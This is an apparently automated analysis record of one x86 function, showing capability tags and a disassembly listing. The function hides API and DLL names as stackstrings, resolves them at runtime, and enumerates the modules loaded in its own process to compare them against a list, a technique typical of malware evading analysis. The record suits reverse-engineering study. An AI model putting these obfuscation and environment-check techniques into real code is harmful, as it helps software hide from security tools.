Function at 0x506838
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push 0x1dc
mov eax, 0x66d2d6
call fcn.006457b0
xor ebx, ebx
push 0x1000
mov byte [ebp - 0x1d0], bl
call fcn.00508a10
mov dword [ebp - 0x1cc], eax
lea edi, [ebp - 0x1c0]
xor eax, eax
stosd dword es:[edi], eax
pop ecx
lea ecx, [ebp - 0x1c0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.005079b9
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 4], ebx
push eax
mov word [ebp - 0x1f], 0x7265
mov byte [ebp - 0x20], 0x4b
mov word [ebp - 0x18], 0x642e
mov word [ebp - 0x15], 0x6c
mov dword [ebp - 0x1c], 0x32336c65
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x16], 0x6c
mov dword [ebp - 0x90], 0x736f6c43
mov dword [ebp - 0x88], 0x656c64
mov dword [ebp - 0x8c], 0x6e614865
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x1e4], eax
test eax, eax
jne 0x5068f4
lea ecx, [ebp - 0x1c0]
call fcn.00507a08
xor al, al
jmp 0x506c22
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0x43746547
push eax
lea eax, [ebp - 0x20]
mov word [ebp - 0x61], 0x6e65
push eax
mov word [ebp - 0x5b], 0x6563
mov word [ebp - 0x58], 0x73
mov word [ebp - 0x64], 0x7275
mov dword [ebp - 0x5f], 0x6f725074
mov byte [ebp - 0x62], 0x72
mov byte [ebp - 0x59], 0x73
call esi
push eax
call edi
mov dword [ebp - 0x1d4], eax
test eax, eax
je 0x5068e2
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x4d746547
push eax
lea eax, [ebp - 0x20]
mov word [ebp - 0x30], 0x4665
push eax
mov dword [ebp - 0x2d], 0x614e656c
mov dword [ebp - 0x29], 0x41656d
mov byte [ebp - 0x2e], 0x69
mov dword [ebp - 0x34], 0x6c75646f
call esi
push eax
call edi
mov dword [ebp - 0x1d8], eax
test eax, eax
je 0x5068e2
lea eax, [ebp - 0xb0]
mov dword [ebp - 0xad], 0x642e6970
push eax
mov word [ebp - 0xb0], 0x7350
mov byte [ebp - 0xae], 0x61
mov word [ebp - 0xa8], 0x6c
mov byte [ebp - 0xa9], 0x6c
call fcn.005088f0
mov esi, eax
mov dword [ebp - 0x1e0], esi
pop ecx
test esi, esi
je 0x5068e2
lea eax, [ebp - 0x50]
mov dword [ebp - 0x4f], 0x506d756e
push eax
push esi
mov word [ebp - 0x42], 0x6c75
mov dword [ebp - 0x48], 0x4d737365
mov word [ebp - 0x3f], 0x73
mov byte [ebp - 0x50], 0x45
mov word [ebp - 0x44], 0x646f
mov word [ebp - 0x4b], 0x6f72
mov byte [ebp - 0x49], 0x63
mov byte [ebp - 0x40], 0x65
call edi
mov dword [ebp - 0x1c8], eax
test eax, eax
jne 0x506a10
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x5068e2
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x98], 0x6c6c64
push eax
mov word [ebp - 0x9b], 0x6970
mov dword [ebp - 0xa0], 0x776c6853
mov byte [ebp - 0x9c], 0x61
mov byte [ebp - 0x99], 0x2e
call fcn.005088f0
mov dword [ebp - 0x1e8], eax
pop ecx
test eax, eax
je 0x5068e2
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x74], 0x656d614e
push ecx
push eax
mov dword [ebp - 0x79], 0x6c694664
mov word [ebp - 0x70], 0x41
mov dword [ebp - 0x7e], 0x69466874
mov word [ebp - 0x80], 0x6150
mov byte [ebp - 0x7a], 0x6e
mov byte [ebp - 0x75], 0x65
call edi
mov dword [ebp - 0x1dc], eax
test eax, eax
je 0x506c04
call dword [ebp - 0x1d4]
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x1d4], eax
push ecx
push 0x1000
push dword [ebp - 0x1cc]
push eax
call dword [ebp - 0x1c8]
test eax, eax
je 0x506be6
test dword [ebp - 0x1c4], 0xfffffffc
mov edi, ebx
jbe 0x506be6
push 0x104
lea eax, [ebp - 0x1b4]
push eax
mov eax, dword [ebp - 0x1cc]
push dword [eax + edi*4]
call dword [ebp - 0x1d8]
test eax, eax
je 0x506bce
lea eax, [ebp - 0x1b4]
push eax
call dword [ebp - 0x1dc]
push ebx
lea ecx, [ebp - 0x1c0]
mov esi, eax
call fcn.00507a0d
push eax
push esi
call fcn.005075c4
mov ebx, dword [ebp - 0x1d0]
test eax, eax
pop ecx
pop ecx
push 1
pop eax
movzx ebx, bl
lea ecx, [ebp - 0x1c0]
push eax
cmove ebx, eax
call fcn.00507a0d
push eax
push esi
call fcn.005075c4
xor edx, edx
pop ecx
pop ecx
inc edx
movzx ecx, bl
test eax, eax
push 2
cmovne edx, ecx
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1c8], edx
call fcn.00507a0d
push eax
push esi
call fcn.005075c4
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c8]
test eax, eax
push 1
pop eax
movzx ebx, cl
lea ecx, [ebp - 0x1c0]
push 3
cmove ebx, eax
call fcn.00507a0d
push eax
push esi
call fcn.005075c4
xor edx, edx
pop ecx
pop ecx
inc edx
movzx ecx, bl
test eax, eax
push 4
cmovne edx, ecx
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1c8], edx
call fcn.00507a0d
push eax
push esi
call fcn.005075c4
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c8]
test eax, eax
push 1
movzx ecx, cl
pop eax
cmove ecx, eax
xor ebx, ebx
mov dword [ebp - 0x1d0], ecx
mov eax, dword [ebp - 0x1c4]
inc edi
shr eax, 2
cmp edi, eax
jb 0x506ad3
mov esi, dword [ebp - 0x1e0]
push dword [ebp - 0x1d4]
call dword [ebp - 0x1e4]
push dword [ebp - 0x1cc]
call fcn.00508a19
mov ebx, dword [ebp - 0x1d0]
pop ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call esi
push dword [ebp - 0x1e8]
call esi
lea ecx, [ebp - 0x1c0]
call fcn.00507a08
mov al, bl
call fcn.0064575a
ret